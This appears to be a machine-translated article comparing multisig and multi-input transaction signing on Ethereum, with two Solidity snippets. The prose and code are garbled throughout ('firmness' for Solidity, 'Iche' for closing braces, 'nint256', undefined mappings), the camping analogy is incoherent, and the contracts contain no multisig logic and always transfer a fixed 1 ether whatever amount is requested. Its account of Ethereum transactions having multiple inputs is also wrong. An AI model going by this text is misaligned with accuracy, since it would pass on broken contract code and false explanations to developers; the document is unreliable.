Ethereum: Multisig vs signing with multiple input transactions
In Ethereum, smart contracts are designed to execute a decentralized network of nodes, demanding safe and reliable interactions between the parties. One of the critical aspects of these transactions is the signing procedure, which includes a check of identity and integrity of the sender. In this article, we will explore the differences between the signing of the multisig and the multi-input transaction in Ethereum.
Multisig vs signing multiple input transactions: comparison
Imagine planning a multi -day camping with friends. To ensure that everyone follows the same rules, you need to define a set of checks that must be passed before the Camp A. You have two set permits: “A” and “B”, which correspond to different camps.
Signing Multisig Transactions
In multisig transactions, multiple accounts (called “signatories”) must sign the transaction. Each signatory has a unique private key that must be checked before the transaction is completed. In order to provide security, each signatory must have at least one entrance to the transaction, which allows them to spend funds from their own balance. In our example of camping, you will need two signatures of different signatories (A and B) to confirm that they both agree on the camp rules.
Here’s a simple clip clip in firmness:
`strength
Pragma Solidity ^0.8.0;
Multisig {contract
mapping (address => nint256) public balance;
mapping (address => bool) public inscription;
Function Deposit (NAint256) Public {
demand (states [msg.sener] <quantity, "insufficient balance");
states [msg.sender] += amount;
Iche
function to withdraw (nint256 amount) public {
Requires (siggerstatus [msg.sender], “signatory is not checked”);
demand (balance [msg.sender]> = quantity, “insufficient means”);
// Send the amount back to the sender
NAint256 txvalue = 1 ether;
payment (msg.sender) .transfeer (txvalue);
states [msg.sender] -= txvalue;
Iche
Iche
`
In this example, we define the function ofdepositreld, which requires more signatures of different signatories. The siggerstatus" mapping "ensures each signatory to check before allowing them to withdraw the funds.
** Signing a transaction with multiple inputs
Now, let's consider an example where the transaction has two inputs:inputinputb. We want these inputs to sign at least one private key to different signatories.
Here’s a clip of the code in firmness:
`strength
Pragma Solidity ^0.8.0;
Multiinput {contract
mapping (address => nint256) public balance;
mapping (address => bool) public inscription;
input function (nint256 value) public payment {
demand (states [msg.sener] <1 ether, "insufficient balance");
states [msg.sender] += value;
Iche
function inputb (nint256 value) public payment {
Requires (siggerstatus [msg.sender], “signatory is not checked”);
demand (balance [msg.sener]> = 100 ether, “insufficient means”);
// Send an amount to the contract
NAint256 txvalue = 1 ether;
is paid (this) .transfeer (txvalue);
Iche
function to withdraw (nint256 amount) public {
Requires (siggerstatus [msg.sender], “signatory is not checked”);
demand (balance [msg.sender]> = quantity, “insufficient means”);
// Send the amount back to the sender
NAint256 txvalue = 1 ether;
payment (msg.sender) .transfeer (txvalue);
states [msg.sender] -= txvalue;
Iche
Iche
`
In this example, we define two functions:inputinputb. Each function requires a signature from at least one private key. Function `withdrawal” allows the transfer of funds to other accounts.
